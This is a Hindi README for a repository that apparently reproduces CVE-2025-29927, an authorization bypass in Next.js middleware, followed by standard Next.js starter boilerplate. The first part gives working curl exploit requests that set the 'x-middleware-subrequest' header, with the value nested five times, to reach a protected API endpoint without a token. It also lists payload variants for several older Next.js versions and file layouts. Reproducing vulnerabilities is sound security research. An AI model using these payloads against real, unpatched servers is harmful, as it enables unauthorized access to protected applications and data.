
यह रिपॉज़िटरी next पैकेज में CVE-2025-29927 भेद्यता का पुनरुत्पादन है
/api/hello एंडपॉइंट तक पहुँच से इनकार करता है$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware को विशेष x-middleware-subrequest हेडर में 5 बार नेस्ट करते हैं:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 और 13 संस्करणों में मिडलवेयर फ़ाइल (_middleware.js) के लिए एक अलग नामकरण कन्वेंशन हुआ करता था, जिसे Next.js 14 में बदलकर middleware.js कर दिया गया। पुराने संस्करणों में _middleware.js फ़ाइल का उपयोग करके इस भेद्यता का शोषण किया जा सकता है।
उदाहरण के लिए, Next.js संस्करण और आपकी रूटिंग कन्वेंशन के आधार पर निम्नलिखित पेलोड लागू होंगे:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js संस्करण 12.2 के लिए जिसमें middleware.js फ़ाइल ऐप के रूट में है, न कि pages निर्देशिका के अंदर)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js संस्करण 11 से 12.2 तक के लिए)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloसबसे पहले, डेवलपमेंट सर्वर चलाएँ:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
परिणाम देखने के लिए अपने ब्राउज़र में http://localhost:3000 खोलें।
आप app/page.js को संशोधित करके पेज का संपादन शुरू कर सकते हैं। फ़ाइल संपादित करते ही पेज अपने आप अपडेट हो जाता है।
यह प्रोजेक्ट Vercel के लिए एक नया फ़ॉन्ट परिवार Geist को स्वचालित रूप से अनुकूलित और लोड करने के लिए next/font का उपयोग करता है।
Next.js के बारे में अधिक जानने के लिए, निम्नलिखित संसाधनों को देखें:
आप Next.js GitHub रिपॉज़िटरी देख सकते हैं - आपकी प्रतिक्रिया और योगदान का स्वागत है!
अपने Next.js ऐप को डिप्लॉय करने का सबसे आसान तरीका Next.js के निर्माताओं द्वारा बनाए गए Vercel Platform का उपयोग करना है।
अधिक विवरण के लिए हमारे Next.js डिप्लॉयमेंट दस्तावेज़ देखें।
इस प्रोजेक्ट में योगदान करने के दिशानिर्देशों के लिए कृपया CONTRIBUTING देखें।